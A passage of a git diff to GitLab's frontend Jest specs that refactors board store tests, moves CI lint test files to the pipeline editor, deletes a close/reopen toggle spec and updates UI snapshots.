+ jest.spyOn(gqlClient, 'mutate').mockRejectedValue();
+ });
+
+ it('calls createFlash', async () => {
+ await actions.setAssignees({
+ commit: () => {},
+ getters: { activeIssue: { iid, referencePath: refPath } },
+ });
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred while updating assignees.',
+ });
+ });
});
});
@@ -885,6 +932,60 @@ describe('setActiveIssueSubscribed', () => {
});
});
+describe('setActiveIssueMilestone', () => {
+ const state = { issues: { [mockIssue.id]: mockIssue } };
+ const getters = { activeIssue: mockIssue };
+ const testMilestone = {
+ ...mockMilestone,
+ id: 'gid://gitlab/Milestone/1',
+ };
+ const input = {
+ milestoneId: testMilestone.id,
+ projectPath: 'h/b',
+ };
+
+ it('should commit milestone after setting the issue', done => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ updateIssue: {
+ issue: {
+ milestone: testMilestone,
+ },
+ errors: [],
+ },
+ },
+ });
+
+ const payload = {
+ issueId: getters.activeIssue.id,
+ prop: 'milestone',
+ value: testMilestone,
+ };
+
+ testAction(
+ actions.setActiveIssueMilestone,
+ input,
+ { ...state, ...getters },
+ [
+ {
+ type: types.UPDATE_ISSUE_BY_ID,
+ payload,
+ },
+ ],
+ [],
+ done,
+ );
+ });
+
+ it('throws error if fails', async () => {
+ jest
+ .spyOn(gqlClient, 'mutate')
+ .mockResolvedValue({ data: { updateIssue: { errors: ['failed mutation'] } } });
+
+ await expect(actions.setActiveIssueMilestone({ getters }, input)).rejects.toThrow(Error);
+ });
+});
+
describe('fetchBacklog', () => {
expectNotImplemented(actions.fetchBacklog);
});
diff --git a/spec/frontend/boards/stores/getters_spec.js b/spec/frontend/boards/stores/getters_spec.js
index 64025726dd1..6ceb8867d1f 100644
--- a/spec/frontend/boards/stores/getters_spec.js
+++ b/spec/frontend/boards/stores/getters_spec.js
@@ -6,28 +6,10 @@ import {
mockIssues,
mockIssuesByListId,
issues,
- mockListsWithModel,
+ mockLists,
} from '../mock_data';
describe('Boards - Getters', () => {
- describe('labelToggleState', () => {
- it('should return "on" when isShowingLabels is true', () => {
- const state = {
- isShowingLabels: true,
- };
-
- expect(getters.labelToggleState(state)).toBe('on');
- });
-
- it('should return "off" when isShowingLabels is false', () => {
- const state = {
- isShowingLabels: false,
- };
-
- expect(getters.labelToggleState(state)).toBe('off');
- });
- });
-
describe('isSidebarOpen', () => {
it('returns true when activeId is not equal to 0', () => {
const state = {
@@ -51,52 +33,8 @@ describe('Boards - Getters', () => {
window.gon = { features: {} };
});
- describe('when boardsWithSwimlanes is true', () => {
- beforeEach(() => {
- window.gon = { features: { boardsWithSwimlanes: true } };
- });
-
- describe('when isShowingEpicsSwimlanes is true', () => {
- it('returns true', () => {
- const state = {
- isShowingEpicsSwimlanes: true,
- };
-
- expect(getters.isSwimlanesOn(state)).toBe(true);
- });
- });
-
- describe('when isShowingEpicsSwimlanes is false', () => {
- it('returns false', () => {
- const state = {
- isShowingEpicsSwimlanes: false,
- };
-
- expect(getters.isSwimlanesOn(state)).toBe(false);
- });
- });
- });
-
- describe('when boardsWithSwimlanes is false', () => {
- describe('when isShowingEpicsSwimlanes is true', () => {
- it('returns false', () => {
- const state = {
- isShowingEpicsSwimlanes: true,
- };
-
- expect(getters.isSwimlanesOn(state)).toBe(false);
- });
- });
-
- describe('when isShowingEpicsSwimlanes is false', () => {
- it('returns false', () => {
- const state = {
- isShowingEpicsSwimlanes: false,
- };
-
- expect(getters.isSwimlanesOn(state)).toBe(false);
- });
- });
+ it('returns false', () => {
+ expect(getters.isSwimlanesOn()).toBe(false);
});
});
@@ -156,22 +94,22 @@ describe('Boards - Getters', () => {
const boardsState = {
boardLists: {
- 'gid://gitlab/List/1': mockListsWithModel[0],
- 'gid://gitlab/List/2': mockListsWithModel[1],
+ 'gid://gitlab/List/1': mockLists[0],
+ 'gid://gitlab/List/2': mockLists[1],
},
};
describe('getListByLabelId', () => {
it('returns list for a given label id', () => {
expect(getters.getListByLabelId(boardsState)('gid://gitlab/GroupLabel/121')).toEqual(
- mockListsWithModel[1],
+ mockLists[1],
);
});
});
describe('getListByTitle', () => {
it('returns list for a given list title', () => {
- expect(getters.getListByTitle(boardsState)('To Do')).toEqual(mockListsWithModel[1]);
+ expect(getters.getListByTitle(boardsState)('To Do')).toEqual(mockLists[1]);
});
});
});
diff --git a/spec/frontend/boards/stores/mutations_spec.js b/spec/frontend/boards/stores/mutations_spec.js
index e1e57a8fd43..d93119ede3d 100644
--- a/spec/frontend/boards/stores/mutations_spec.js
+++ b/spec/frontend/boards/stores/mutations_spec.js
@@ -1,15 +1,7 @@
import mutations from '~/boards/stores/mutations';
import * as types from '~/boards/stores/mutation_types';
import defaultState from '~/boards/stores/state';
-import {
- mockListsWithModel,
- mockLists,
- rawIssue,
- mockIssue,
- mockIssue2,
- mockIssueWithModel,
- mockIssue2WithModel,
-} from '../mock_data';
+import { mockLists, rawIssue, mockIssue, mockIssue2 } from '../mock_data';
const expectNotImplemented = action => {
it('is not implemented', () => {
@@ -21,8 +13,8 @@ describe('Board Store Mutations', () => {
let state;
const initialBoardListsState = {
- 'gid://gitlab/List/1': mockListsWithModel[0],
- 'gid://gitlab/List/2': mockListsWithModel[1],
+ 'gid://gitlab/List/1': mockLists[0],
+ 'gid://gitlab/List/2': mockLists[1],
};
beforeEach(() => {
@@ -41,19 +33,21 @@ describe('Board Store Mutations', () => {
};
const boardType = 'group';
const disabled = false;
- const showPromotion = false;
+ const boardConfig = {
+ milestoneTitle: 'Milestone 1',
+ };
mutations[types.SET_INITIAL_BOARD_DATA](state, {
...endpoints,
boardType,
disabled,
- showPromotion,
+ boardConfig,
});
expect(state.endpoints).toEqual(endpoints);
expect(state.boardType).toEqual(boardType);
expect(state.disabled).toEqual(disabled);
- expect(state.showPromotion).toEqual(showPromotion);
+ expect(state.boardConfig).toEqual(boardConfig);
});
});
@@ -135,10 +129,10 @@ describe('Board Store Mutations', () => {
describe('RECEIVE_ADD_LIST_SUCCESS', () => {
it('adds list to boardLists state', () => {
- mutations.RECEIVE_ADD_LIST_SUCCESS(state, mockListsWithModel[0]);
+ mutations.RECEIVE_ADD_LIST_SUCCESS(state, mockLists[0]);
expect(state.boardLists).toEqual({
- [mockListsWithModel[0].id]: mockListsWithModel[0],
+ [mockLists[0].id]: mockLists[0],
});
});
});
@@ -155,13 +149,13 @@ describe('Board Store Mutations', () => {
};
mutations.MOVE_LIST(state, {
- movedList: mockListsWithModel[0],
- listAtNewIndex: mockListsWithModel[1],
+ movedList: mockLists[0],
+ listAtNewIndex: mockLists[1],
});
expect(state.boardLists).toEqual({
- 'gid://gitlab/List/2': mockListsWithModel[1],
- 'gid://gitlab/List/1': mockListsWithModel[0],
+ 'gid://gitlab/List/2': mockLists[1],
+ 'gid://gitlab/List/1': mockLists[0],
});
});
});
@@ -171,8 +165,8 @@ describe('Board Store Mutations', () => {
state = {
...state,
boardLists: {
- 'gid://gitlab/List/2': mockListsWithModel[1],
- 'gid://gitlab/List/1': mockListsWithModel[0],
+ 'gid://gitlab/List/2': mockLists[1],
+ 'gid://gitlab/List/1': mockLists[0],
},
error: undefined,
};
@@ -186,7 +180,7 @@ describe('Board Store Mutations', () => {
describe('REMOVE_LIST', () => {
it('removes list from boardLists', () => {
- const [list, secondList] = mockListsWithModel;
+ const [list, secondList] = mockLists;
const expected = {
[secondList.id]: secondList,
};
@@ -355,8 +349,8 @@ describe('Board Store Mutations', () => {
};
const issues = {
- '1': mockIssueWithModel,
- '2': mockIssue2WithModel,
+ '1': mockIssue,
+ '2': mockIssue2,
};
state = {
@@ -367,7 +361,7 @@ describe('Board Store Mutations', () => {
};
mutations.MOVE_ISSUE(state, {
- originalIssue: mockIssue2WithModel,
+ originalIssue: mockIssue2,
fromListId: 'gid://gitlab/List/1',
toListId: 'gid://gitlab/List/2',
});
@@ -396,7 +390,7 @@ describe('Board Store Mutations', () => {
issue: rawIssue,
});
- expect(state.issues).toEqual({ '436': { ...mockIssueWithModel, id: 436 } });
+ expect(state.issues).toEqual({ '436': { ...mockIssue, id: 436 } });
});
});
@@ -466,13 +460,13 @@ describe('Board Store Mutations', () => {
boardLists: initialBoardListsState,
};
- expect(state.boardLists['gid://gitlab/List/1'].issuesSize).toBe(1);
+ expect(state.boardLists['gid://gitlab/List/1'].issuesCount).toBe(1);
- mutations.ADD_ISSUE_TO_LIST(state, { list: mockListsWithModel[0], issue: mockIssue2 });
+ mutations.ADD_ISSUE_TO_LIST(state, { list: mockLists[0], issue: mockIssue2 });
expect(state.issuesByListId['gid://gitlab/List/1']).toContain(mockIssue2.id);
expect(state.issues[mockIssue2.id]).toEqual(mockIssue2);
- expect(state.boardLists['gid://gitlab/List/1'].issuesSize).toBe(2);
+ expect(state.boardLists['gid://gitlab/List/1'].issuesCount).toBe(2);
});
});
@@ -524,6 +518,14 @@ describe('Board Store Mutations', () => {
});
});
+ describe('SET_ASSIGNEE_LOADING', () => {
+ it('sets isSettingAssignees to the value passed', () => {
+ mutations.SET_ASSIGNEE_LOADING(state, true);
+
+ expect(state.isSettingAssignees).toBe(true);
+ });
+ });
+
describe('SET_CURRENT_PAGE', () => {
expectNotImplemented(mutations.SET_CURRENT_PAGE);
});
diff --git a/spec/frontend/branches/ajax_loading_spinner_spec.js b/spec/frontend/branches/ajax_loading_spinner_spec.js
index a6404faa445..31cc7b99e42 100644
--- a/spec/frontend/branches/ajax_loading_spinner_spec.js
+++ b/spec/frontend/branches/ajax_loading_spinner_spec.js
@@ -9,7 +9,7 @@ describe('Ajax Loading Spinner', () => {
<a class="js-ajax-loading-spinner"
data-remote
href="http://goesnowhere.nothing/whereami">
- <i class="fa fa-trash-o"></i>
+ Remove me
</a></div>`;
AjaxLoadingSpinner.init();
ajaxLoadingSpinnerElement = document.querySelector('.js-ajax-loading-spinner');
diff --git a/spec/frontend/ci_lint/components/ci_lint_results_spec.js b/spec/frontend/ci_lint/components/ci_lint_results_spec.js
deleted file mode 100644
index 93c2d2dbcf3..00000000000
--- a/spec/frontend/ci_lint/components/ci_lint_results_spec.js
+++ /dev/null
@@ -1,129 +0,0 @@
-import { shallowMount, mount } from '@vue/test-utils';
-import { GlTable, GlLink } from '@gitlab/ui';
-import CiLintResults from '~/ci_lint/components/ci_lint_results.vue';
-import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
-import { mockJobs, mockErrors, mockWarnings } from '../mock_data';
-
-describe('CI Lint Results', () => {
- let wrapper;
- const defaultProps = {
- valid: true,
- jobs: mockJobs,
- errors: [],
- warnings: [],
- dryRun: false,
- lintHelpPagePath: '/help',
- };
-
- const createComponent = (props = {}, mountFn = shallowMount) => {
- wrapper = mountFn(CiLintResults, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
-
- const findTable = () => wrapper.find(GlTable);
- const findByTestId = selector => () => wrapper.find(`[data-testid="ci-lint-${selector}"]`);
- const findAllByTestId = selector => () => wrapper.findAll(`[data-testid="ci-lint-${selector}"]`);
- const findLinkToDoc = () => wrapper.find(GlLink);
- const findErrors = findByTestId('errors');
- const findWarnings = findByTestId('warnings');
- const findStatus = findByTestId('status');
- const findOnlyExcept = findByTestId('only-except');
- const findLintParameters = findAllByTestId('parameter');
- const findBeforeScripts = findAllByTestId('before-script');
- const findScripts = findAllByTestId('script');
- const findAfterScripts = findAllByTestId('after-script');
- const filterEmptyScripts = property => mockJobs.filter(job => job[property].length !== 0);
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('Invalid results', () => {
- beforeEach(() => {
- createComponent({ valid: false, errors: mockErrors, warnings: mockWarnings }, mount);
- });
-
- it('does not display the table', () => {
- expect(findTable().exists()).toBe(false);
- });
-
- it('displays the invalid status', () => {
- expect(findStatus().text()).toContain(`Status: ${wrapper.vm.$options.incorrect.text}`);
- expect(findStatus().props('variant')).toBe(wrapper.vm.$options.incorrect.variant);
- });
-
- it('contains the link to documentation', () => {
- expect(findLinkToDoc().text()).toBe('More information');
- expect(findLinkToDoc().attributes('href')).toBe(defaultProps.lintHelpPagePath);
- });
-
- it('displays the error message', () => {
- const [expectedError] = mockErrors;
-
- expect(findErrors().text()).toBe(expectedError);
- });
-
- it('displays the warning message', () => {
- const [expectedWarning] = mockWarnings;
-
- expect(findWarnings().exists()).toBe(true);
- expect(findWarnings().text()).toContain(expectedWarning);
- });
- });
-
- describe('Valid results with dry run', () => {
- beforeEach(() => {
- createComponent({ dryRun: true }, mount);
- });
-
- it('displays table', () => {
- expect(findTable().exists()).toBe(true);
- });
-
- it('displays the valid status', () => {
- expect(findStatus().text()).toContain(wrapper.vm.$options.correct.text);
- expect(findStatus().props('variant')).toBe(wrapper.vm.$options.correct.variant);
- });
-
- it('does not display only/expect values with dry run', () => {
- expect(findOnlyExcept().exists()).toBe(false);
- });
-
- it('contains the link to documentation', () => {
- expect(findLinkToDoc().text()).toBe('More information');
- expect(findLinkToDoc().attributes('href')).toBe(defaultProps.lintHelpPagePath);
- });
- });
-
- describe('Lint results', () => {
- beforeEach(() => {
- createComponent({}, mount);
- });
-
- it('formats parameter value', () => {
- findLintParameters().wrappers.forEach((job, index) => {
- const { stage } = mockJobs[index];
- const { name } = mockJobs[index];
-
- expect(job.text()).toBe(`${capitalizeFirstCharacter(stage)} Job - ${name}`);
- });
- });
-
- it('only shows before scripts when data is present', () => {
- expect(findBeforeScripts()).toHaveLength(filterEmptyScripts('beforeScript').length);
- });
-
- it('only shows script when data is present', () => {
- expect(findScripts()).toHaveLength(filterEmptyScripts('script').length);
- });
-
- it('only shows after script when data is present', () => {
- expect(findAfterScripts()).toHaveLength(filterEmptyScripts('afterScript').length);
- });
- });
-});
diff --git a/spec/frontend/ci_lint/components/ci_lint_spec.js b/spec/frontend/ci_lint/components/ci_lint_spec.js
index b353da5910d..1c99fdb3505 100644
--- a/spec/frontend/ci_lint/components/ci_lint_spec.js
+++ b/spec/frontend/ci_lint/components/ci_lint_spec.js
@@ -3,8 +3,8 @@ import { shallowMount } from '@vue/test-utils';
import waitForPromises from 'helpers/wait_for_promises';
import EditorLite from '~/vue_shared/components/editor_lite.vue';
import CiLint from '~/ci_lint/components/ci_lint.vue';
-import CiLintResults from '~/ci_lint/components/ci_lint_results.vue';
-import lintCIMutation from '~/ci_lint/graphql/mutations/lint_ci.mutation.graphql';
+import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
+import lintCIMutation from '~/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql';
import { mockLintDataValid } from '../mock_data';
describe('CI Lint', () => {
diff --git a/spec/frontend/ci_lint/components/ci_lint_warnings_spec.js b/spec/frontend/ci_lint/components/ci_lint_warnings_spec.js
deleted file mode 100644
index 6e0a4881e14..00000000000
--- a/spec/frontend/ci_lint/components/ci_lint_warnings_spec.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import { mount } from '@vue/test-utils';
-import { GlAlert, GlSprintf } from '@gitlab/ui';
-import { trimText } from 'helpers/text_helper';
-import CiLintWarnings from '~/ci_lint/components/ci_lint_warnings.vue';
-
-const warnings = ['warning 1', 'warning 2', 'warning 3'];
-
-describe('CI lint warnings', () => {
- let wrapper;
-
- const createComponent = (limit = 25) => {
- wrapper = mount(CiLintWarnings, {
- propsData: {
- warnings,
- maxWarnings: limit,
- },
- });
- };
-
- const findWarningAlert = () => wrapper.find(GlAlert);
- const findWarnings = () => wrapper.findAll('[data-testid="ci-lint-warning"]');
- const findWarningMessage = () => trimText(wrapper.find(GlSprintf).text());
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('displays the warning alert', () => {
- createComponent();
-
- expect(findWarningAlert().exists()).toBe(true);
- });
-
- it('displays all the warnings', () => {
- createComponent();
-
- expect(findWarnings()).toHaveLength(warnings.length);
- });
-
- it('shows the correct message when the limit is not passed', () => {
- createComponent();
-
- expect(findWarningMessage()).toBe(`${warnings.length} warnings found:`);
- });
-
- it('shows the correct message when the limit is passed', () => {
- const limit = 2;
-
- createComponent(limit);
-
- expect(findWarningMessage()).toBe(`${warnings.length} warnings found: showing first ${limit}`);
- });
-});
diff --git a/spec/frontend/ci_lint/graphql/__snapshots__/resolvers_spec.js.snap b/spec/frontend/ci_lint/graphql/__snapshots__/resolvers_spec.js.snap
deleted file mode 100644
index 87bec82e350..00000000000
--- a/spec/frontend/ci_lint/graphql/__snapshots__/resolvers_spec.js.snap
+++ /dev/null
@@ -1,73 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`~/ci_lint/graphql/resolvers Mutation lintCI resolves lint data with type names 1`] = `
-Object {
- "__typename": "CiLintContent",
- "errors": Array [],
- "jobs": Array [
- Object {
- "__typename": "CiLintJob",
- "afterScript": Array [
- "echo 'after script 1",
- ],
- "allowFailure": false,
- "beforeScript": Array [
- "echo 'before script 1'",
- ],
- "environment": "prd",
- "except": Object {
- "refs": Array [
- "master@gitlab-org/gitlab",
- "/^release/.*$/@gitlab-org/gitlab",
- ],
- },
- "name": "job_1",
- "only": null,
- "script": Array [
- "echo 'script 1'",
- ],
- "stage": "test",
- "tagList": Array [
- "tag 1",
- ],
- "when": "on_success",
- },
- Object {
- "__typename": "CiLintJob",
- "afterScript": Array [
- "echo 'after script 2",
- ],
- "allowFailure": true,
- "beforeScript": Array [
- "echo 'before script 2'",
- ],
- "environment": "stg",
- "except": Object {
- "refs": Array [
- "master@gitlab-org/gitlab",
- "/^release/.*$/@gitlab-org/gitlab",
- ],
- },
- "name": "job_2",
- "only": Object {
- "__typename": "CiLintJobOnlyPolicy",
- "refs": Array [
- "web",
- "chat",
- "pushes",
- ],
- },
- "script": Array [
- "echo 'script 2'",
- ],
- "stage": "test",
- "tagList": Array [
- "tag 2",
- ],
- "when": "on_success",
- },
- ],
- "valid": true,
- "warnings": Array [],
-}
-`;
diff --git a/spec/frontend/ci_lint/graphql/resolvers_spec.js b/spec/frontend/ci_lint/graphql/resolvers_spec.js
deleted file mode 100644
index 437c52cf6b4..00000000000
--- a/spec/frontend/ci_lint/graphql/resolvers_spec.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
-
-import resolvers from '~/ci_lint/graphql/resolvers';
-import { mockLintResponse } from '../mock_data';
-
-describe('~/ci_lint/graphql/resolvers', () => {
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- describe('Mutation', () => {
- describe('lintCI', () => {
- const endpoint = '/ci/lint';
-
- beforeEach(() => {
- mock.onPost(endpoint).reply(httpStatus.OK, mockLintResponse);
- });
-
- it('resolves lint data with type names', async () => {
- const result = resolvers.Mutation.lintCI(null, {
- endpoint,
- content: 'content',
- dry_run: true,
- });
-
- await expect(result).resolves.toMatchSnapshot();
- });
- });
- });
-});
diff --git a/spec/frontend/ci_lint/mock_data.js b/spec/frontend/ci_lint/mock_data.js
index b87c9f8413b..28ea0f55bf8 100644
--- a/spec/frontend/ci_lint/mock_data.js
+++ b/spec/frontend/ci_lint/mock_data.js
@@ -1,86 +1,4 @@
-export const mockLintResponse = {
- valid: true,
- errors: [],
- warnings: [],
- jobs: [
- {
- name: 'job_1',
- stage: 'test',
- before_script: ["echo 'before script 1'"],
- script: ["echo 'script 1'"],
- after_script: ["echo 'after script 1"],
- tag_list: ['tag 1'],
- environment: 'prd',
- when: 'on_success',
- allow_failure: false,
- only: null,
- except: { refs: ['master@gitlab-org/gitlab', '/^release/.*$/@gitlab-org/gitlab'] },
- },
- {
- name: 'job_2',
- stage: 'test',
- before_script: ["echo 'before script 2'"],
- script: ["echo 'script 2'"],
- after_script: ["echo 'after script 2"],
- tag_list: ['tag 2'],
- environment: 'stg',
- when: 'on_success',
- allow_failure: true,
- only: { refs: ['web', 'chat', 'pushes'] },
- except: { refs: ['master@gitlab-org/gitlab', '/^release/.*$/@gitlab-org/gitlab'] },
- },
- ],
-};
-
-export const mockJobs = [
- {
- name: 'job_1',
- stage: 'build',
- beforeScript: [],
- script: ["echo 'Building'"],
- afterScript: [],
- tagList: [],
- environment: null,
- when: 'on_success',
- allowFailure: true,
- only: { refs: ['web', 'chat', 'pushes'] },
- except: null,
- },
- {
- name: 'multi_project_job',
- stage: 'test',
- beforeScript: [],
- script: [],
- afterScript: [],
- tagList: [],
- environment: null,
- when: 'on_success',
- allowFailure: false,
- only: { refs: ['branches', 'tags'] },
- except: null,
- },
- {
- name: 'job_2',
- stage: 'test',
- beforeScript: ["echo 'before script'"],
- script: ["echo 'script'"],
- afterScript: ["echo 'after script"],
- tagList: [],
- environment: null,
- when: 'on_success',
- allowFailure: false,
- only: { refs: ['branches@gitlab-org/gitlab'] },
- except: { refs: ['master@gitlab-org/gitlab', '/^release/.*$/@gitlab-org/gitlab'] },
- },
-];
-
-export const mockErrors = [
- '"job_1 job: chosen stage does not exist; available stages are .pre, build, test, deploy, .post"',
-];
-
-export const mockWarnings = [
- '"jobs:multi_project_job may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings"',
-];
+import { mockJobs } from 'jest/pipeline_editor/mock_data';
export const mockLintDataValid = {
data: {
diff --git a/spec/frontend/close_reopen_report_toggle_spec.js b/spec/frontend/close_reopen_report_toggle_spec.js
deleted file mode 100644
index d2ce6298c5c..00000000000
--- a/spec/frontend/close_reopen_report_toggle_spec.js
+++ /dev/null
@@ -1,283 +0,0 @@
-import CloseReopenReportToggle from '~/close_reopen_report_toggle';
-import DropLab from '~/droplab/drop_lab';
-
-describe('CloseReopenReportToggle', () => {
- describe('class constructor', () => {
- const dropdownTrigger = {};
- const dropdownList = {};
- const button = {};
- let commentTypeToggle;
-
- beforeEach(() => {
- commentTypeToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
- });
-
- it('sets .dropdownTrigger', () => {
- expect(commentTypeToggle.dropdownTrigger).toBe(dropdownTrigger);
- });
-
- it('sets .dropdownList', () => {
- expect(commentTypeToggle.dropdownList).toBe(dropdownList);
- });
-
- it('sets .button', () => {
- expect(commentTypeToggle.button).toBe(button);
- });
- });
-
- describe('initDroplab', () => {
- let closeReopenReportToggle;
- const dropdownList = {
- querySelector: jest.fn(),
- };
- const dropdownTrigger = {};
- const button = {};
- const reopenItem = {};
- const closeItem = {};
- const config = {};
-
- beforeEach(() => {
- jest.spyOn(DropLab.prototype, 'init').mockImplementation(() => {});
- dropdownList.querySelector.mockReturnValueOnce(reopenItem).mockReturnValueOnce(closeItem);
-
- closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
-
- jest.spyOn(closeReopenReportToggle, 'setConfig').mockReturnValue(config);
-
- closeReopenReportToggle.initDroplab();
- });
-
- it('sets .reopenItem and .closeItem', () => {
- expect(dropdownList.querySelector).toHaveBeenCalledWith('.reopen-item');
- expect(dropdownList.querySelector).toHaveBeenCalledWith('.close-item');
- expect(closeReopenReportToggle.reopenItem).toBe(reopenItem);
- expect(closeReopenReportToggle.closeItem).toBe(closeItem);
- });
-
- it('sets .droplab', () => {
- expect(closeReopenReportToggle.droplab).toEqual(expect.any(Object));
- });
-
- it('calls .setConfig', () => {
- expect(closeReopenReportToggle.setConfig).toHaveBeenCalled();
- });
-
- it('calls droplab.init', () => {
- expect(DropLab.prototype.init).toHaveBeenCalledWith(
- dropdownTrigger,
- dropdownList,
- expect.any(Array),
- config,
- );
- });
- });
-
- describe('updateButton', () => {
- let closeReopenReportToggle;
- const dropdownList = {};
- const dropdownTrigger = {};
- const button = {
- blur: jest.fn(),
- };
- const isClosed = true;
-
- beforeEach(() => {
- closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
-
- jest.spyOn(closeReopenReportToggle, 'toggleButtonType').mockImplementation(() => {});
-
- closeReopenReportToggle.updateButton(isClosed);
- });
-
- it('calls .toggleButtonType', () => {
- expect(closeReopenReportToggle.toggleButtonType).toHaveBeenCalledWith(isClosed);
- });
-
- it('calls .button.blur', () => {
- expect(closeReopenReportToggle.button.blur).toHaveBeenCalled();
- });
- });
-
- describe('toggleButtonType', () => {
- let closeReopenReportToggle;
- const dropdownList = {};
- const dropdownTrigger = {};
- const button = {};
- const isClosed = true;
- const showItem = {
- click: jest.fn(),
- };
- const hideItem = {};
- showItem.classList = {
- add: jest.fn(),
- remove: jest.fn(),
- };
- hideItem.classList = {
- add: jest.fn(),
- remove: jest.fn(),
- };
-
- beforeEach(() => {
- closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
-
- jest.spyOn(closeReopenReportToggle, 'getButtonTypes').mockReturnValue([showItem, hideItem]);
-
- closeReopenReportToggle.toggleButtonType(isClosed);
- });
-
- it('calls .getButtonTypes', () => {
- expect(closeReopenReportToggle.getButtonTypes).toHaveBeenCalledWith(isClosed);
- });
-
- it('removes hide class and add selected class to showItem, opposite for hideItem', () => {
- expect(showItem.classList.remove).toHaveBeenCalledWith('hidden');
- expect(showItem.classList.add).toHaveBeenCalledWith('droplab-item-selected');
- expect(hideItem.classList.add).toHaveBeenCalledWith('hidden');
- expect(hideItem.classList.remove).toHaveBeenCalledWith('droplab-item-selected');
- });
-
- it('clicks the showItem', () => {
- expect(showItem.click).toHaveBeenCalled();
- });
- });
-
- describe('getButtonTypes', () => {
- let closeReopenReportToggle;
- const dropdownList = {};
- const dropdownTrigger = {};
- const button = {};
- const reopenItem = {};
- const closeItem = {};
-
- beforeEach(() => {
- closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
-
- closeReopenReportToggle.reopenItem = reopenItem;
- closeReopenReportToggle.closeItem = closeItem;
- });
-
- it('returns reopenItem, closeItem if isClosed is true', () => {
- const buttonTypes = closeReopenReportToggle.getButtonTypes(true);
-
- expect(buttonTypes).toEqual([reopenItem, closeItem]);
- });
-
- it('returns closeItem, reopenItem if isClosed is false', () => {
- const buttonTypes = closeReopenReportToggle.getButtonTypes(false);
-
- expect(buttonTypes).toEqual([closeItem, reopenItem]);
- });
- });
-
- describe('setDisable', () => {
- let closeReopenReportToggle;
- const dropdownList = {};
- const dropdownTrigger = {
- setAttribute: jest.fn(),
- removeAttribute: jest.fn(),
- };
- const button = {
- setAttribute: jest.fn(),
- removeAttribute: jest.fn(),
- };
-
- beforeEach(() => {
- closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
- });
-
- it('disable .button and .dropdownTrigger if shouldDisable is true', () => {
- closeReopenReportToggle.setDisable(true);
-
- expect(button.setAttribute).toHaveBeenCalledWith('disabled', 'true');
- expect(dropdownTrigger.setAttribute).toHaveBeenCalledWith('disabled', 'true');
- });
-
- it('disable .button and .dropdownTrigger if shouldDisable is undefined', () => {
- closeReopenReportToggle.setDisable();
-
- expect(button.setAttribute).toHaveBeenCalledWith('disabled', 'true');
- expect(dropdownTrigger.setAttribute).toHaveBeenCalledWith('disabled', 'true');
- });
-
- it('enable .button and .dropdownTrigger if shouldDisable is false', () => {
- closeReopenReportToggle.setDisable(false);
-
- expect(button.removeAttribute).toHaveBeenCalledWith('disabled');
- expect(dropdownTrigger.removeAttribute).toHaveBeenCalledWith('disabled');
- });
- });
-
- describe('setConfig', () => {
- let closeReopenReportToggle;
- const dropdownList = {};
- const dropdownTrigger = {};
- const button = {};
- let config;
-
- beforeEach(() => {
- closeReopenReportToggle = new CloseReopenReportToggle({
- dropdownTrigger,
- dropdownList,
- button,
- });
-
- config = closeReopenReportToggle.setConfig();
- });
-
- it('returns a config object', () => {
- expect(config).toEqual({
- InputSetter: [
- {
- input: button,
- valueAttribute: 'data-text',
- inputAttribute: 'data-value',
- },
- {
- input: button,
- valueAttribute: 'data-text',
- inputAttribute: 'title',
- },
- {
- input: button,
- valueAttribute: 'data-button-class',
- inputAttribute: 'class',
- },
- {
- input: dropdownTrigger,
- valueAttribute: 'data-toggle-class',
- inputAttribute: 'class',
- },
- {
- input: button,
- valueAttribute: 'data-url',
- inputAttribute: 'data-endpoint',
- },
- ],
- });
- });
- });
-});
diff --git a/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap b/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap
index 744ef318260..c2ace1b4e30 100644
--- a/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap
+++ b/spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap
@@ -55,7 +55,7 @@ exports[`Applications Crossplane application shows the correct description 1`] =
`;
exports[`Applications Ingress application shows the correct warning message 1`] = `
-<strong
+<span
data-testid="ingressCostWarning"
>
Installing Ingress may incur additional costs. Learn more about
@@ -68,7 +68,7 @@ exports[`Applications Ingress application shows the correct warning message 1`]
pricing
</a>
.
-</strong>
+</span>
`;
exports[`Applications Knative application shows the correct description 1`] = `
diff --git a/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap b/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
index de40e03b598..6f28573c808 100644
--- a/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
+++ b/spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap
@@ -53,6 +53,7 @@ exports[`Remove cluster confirmation modal renders splitbutton with modal includ
type="button"
>
<svg
+ aria-hidden="true"
class="gl-icon s16 gl-new-dropdown-item-check-icon"
data-testid="mobile-issue-close-icon"
>
@@ -107,6 +108,7 @@ exports[`Remove cluster confirmation modal renders splitbutton with modal includ
type="button"
>
<svg
